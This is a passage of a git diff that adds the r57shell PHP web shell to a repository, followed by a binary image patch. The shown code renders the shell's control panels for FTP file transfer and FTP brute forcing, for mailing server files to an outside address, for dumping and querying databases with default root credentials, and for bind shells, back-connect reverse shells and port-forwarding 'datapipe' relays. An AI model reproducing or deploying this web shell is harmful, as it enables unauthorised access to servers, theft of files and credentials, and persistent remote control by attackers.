sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh); +echo $te.'</div>'.$table_end1.$fe; +if(@function_exists("ftp_connect")){ +echo $table_up1.$lang[$language.'_text93'].up_down('id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +if($unix && @function_exists("ftp_connect")){ +echo $fs.$table_up1.$lang[$language.'_text94'].up_down('id18').$table_up2.div('id18').$ts; +echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo sr(15,"","<font face=Verdana size=2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>"); +echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']); +echo $te.'</div>'.$table_end1.$fe; +} +if(@function_exists("mail")){ +echo $table_up1.$lang[$language.'_text102'].up_down('id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy")))); +echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>'); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +if($mysql_on||$mssql_on||$pg_on||$ora_on) +{ +$select = '<select name=db>'; +if($mysql_on) $select .= '<option>MySQL</option>'; +if($mssql_on) $select .= '<option>MSSQL</option>'; +if($pg_on) $select .= '<option>PostgreSQL</option>'; +if($ora_on) $select .= '<option>Oracle</option>'; +$select .= '</select>'; +echo $table_up1.$lang[$language.'_text82'].up_down('id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>"; +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); +echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); +echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>"; +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); +echo $te."<div align=center id='n'><textarea cols=55 rows=1 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES; SELECT * FROM user; SELECT version(); select user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>"; +} +if(!$safe_mode&&!$windows){ +echo $table_up1.$lang[$language.'_text81'].up_down('id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=Verdana size=2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru')); +echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ r57shell - http-shell by RST/GHC | <a href=http://rst.void.ru>http://rst.void.ru</a> | <a href=http://ghc.ru>http://ghc.ru</a> | version ".$version." ]---o</b></font></div></td></tr></table>".$f; +?> + diff --git a/php/PHPshell/r57shell127/r57shell127.jpg b/php/PHPshell/r57shell127/r57shell127.jpg new file mode 100644 index 0000000000000000000000000000000000000000..8ba76d5511dd6b9049139e2463852ccad4dbde7f GIT binary patch literal 92934 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 